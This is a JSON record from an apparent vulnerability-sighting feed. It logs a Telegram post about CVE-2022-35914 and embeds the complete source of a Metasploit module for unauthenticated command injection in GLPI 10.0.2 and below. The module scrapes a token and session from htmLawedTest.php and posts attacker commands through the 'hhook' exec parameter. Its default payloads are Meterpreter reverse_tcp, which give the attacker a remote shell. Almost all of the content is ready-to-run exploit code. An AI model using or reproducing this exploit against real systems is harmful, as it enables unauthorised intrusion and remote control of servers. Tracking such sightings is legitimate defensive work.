{"uuid": "39e304d1-c688-4e37-a0ae-e26727b523e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-35914", "type": "seen", "source": "https://t.me/hacking_Attack/74185", "content": "Exploit Collector\nGLPI 10.0.2 Command Injection\n\nhttps://4.bp.blogspot.com/-4IgemuXxvlQ/WWlvJOAjEHI/AAAAAAAAIL4/GJdo6H5fQo4z7HKyurc-fIH3InSyWxX3gCLcBGAs/s1600/h145.png This Metasploit module exploits an unauthenticated PHP command injection vulnerability in GLPI versions 10.0.2 and below to execute a command.\n\nSHA-256 | 529159bd26d8ef9713fdda0560ec98c0fd7749d335736c9d27898c59fbf09efbDownload ##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\nRank = ExcellentRanking\n\nprepend Msf::Exploit::Remote::AutoCheck\ninclude Msf::Exploit::Remote::HttpClient\ninclude Msf::Exploit::CmdStager\n\ndef initialize(info = {})\nsuper(\nupdate_info(\ninfo,\n'Name' => 'GLPI htmLawed php command injection',\n'Description' => %q{\nThis exploit takes advantage of a unauthenticated php command injection available\nfrom GLPI versions 10.0.2 and below to execute a command.\n},\n'License' => MSF_LICENSE,\n'Author' => [\n'cosad3s', # PoC https://github.com/cosad3s/CVE-2022-35914-poc\n'bwatters-r7' # module\n],\n'References' => [\n['CVE', '2022-35914' ],\n['URL', 'https://github.com/cosad3s/CVE-2022-35914-poc']\n],\n'Platform' => 'linux',\n'Arch' => [ARCH_X64, ARCH_CMD],\n'CmdStagerFlavor' => [ 'printf' ],\n'Targets' => [\n[\n'Unix Command',\n{\n'Platform' => 'unix',\n'Arch' => ARCH_CMD,\n'Type' => :unix_cmd,\n'DefaultOptions' => {\n'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp',\n'RPORT' => 80,\n'URIPATH' => '/glpi/'\n}\n}\n],\n[\n'Linux (Dropper)',\n{\n'Platform' => 'linux',\n'Arch' => [ARCH_X64],\n'DefaultOptions' => {\n'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',\n'RPORT' => 80,\n'URIPATH' => '/glpi/'\n},\n'Type' => :linux_dropper\n}\n],\n],\n'DisclosureDate' => '2022-01-26',\n'DefaultTarget' => 0,\n'Notes' => {\n'Stability' => [ CRASH_SAFE ],\n'Reliability' => [ REPEATABLE_SESSION ],\n'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]\n}\n)\n)\nend\n\ndef populate_values\nuri = \"#{datastore['URIPATH']}/vendor/htmlawed/htmlawed/htmLawedTest.php\"\nbegin\nres = send_request_cgi({\n'method' => 'GET',\n'uri' => normalize_uri(uri),\n'connection' => 'keep-alive',\n'accept' => '*/*'\n})\n@html = res.get_html_document\n@token = @html.at_xpath('//input[@id=\"token\"]')['value']\nvprint_status(\"token = #{@token}\")\n\n# sometimes I got > 1 sid.  We must use the last one.\n@sid = res.get_cookies.match(/.*=(.*?);.*/)[1]\nvprint_status(\"sid = #{@sid}\")\nrescue NoMethodError => e\nelog('Failed to retrieve token or sid', error: e)\nend\nend\n\ndef execute_command(cmd, _opts = {})\npopulate_values if @sid.nil? || @token.nil?\nuri = datastore['URIPATH'] + '/vendor/htmlawed/htmlawed/htmLawedTest.php'\n\nsend_request_cgi({\n'method' => 'POST',\n'uri' => normalize_uri(uri),\n'cookie' => 'sid=' + @sid,\n'ctype' => 'application/x-www-form-urlencoded',\n'encode_params' => true,\n'vars_post' => {\n'token' => @token,\n'text' => cmd,\n'hhook' => 'exec',\n'sid' => @sid\n}\n})\nend\n\ndef check\npopulate_values if @html_doc.nil?\nif @token.nil? || @sid.nil? || @html.nil?\nreturn Exploit::CheckCode::Safe('Failed to retrieve htmLawed page')\nend\nreturn Exploit::CheckCode::Appears if @html.to_s.include?('htmLawed')\n\nreturn Exploit::CheckCode::Safe('Unable to determine htmLawed status')\nend\n\ndef exploit\nprint_status(\"Executing #{target.name} for #{datastore['PAYLOAD']}\")\ncase target['Type']\nwhen :unix_cmd\nexecute_command(payload.encoded)\nwhen :linux_dropper\nexecute_cmdstager\nend\nend\n\nend Source:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:01:34.682285Z"}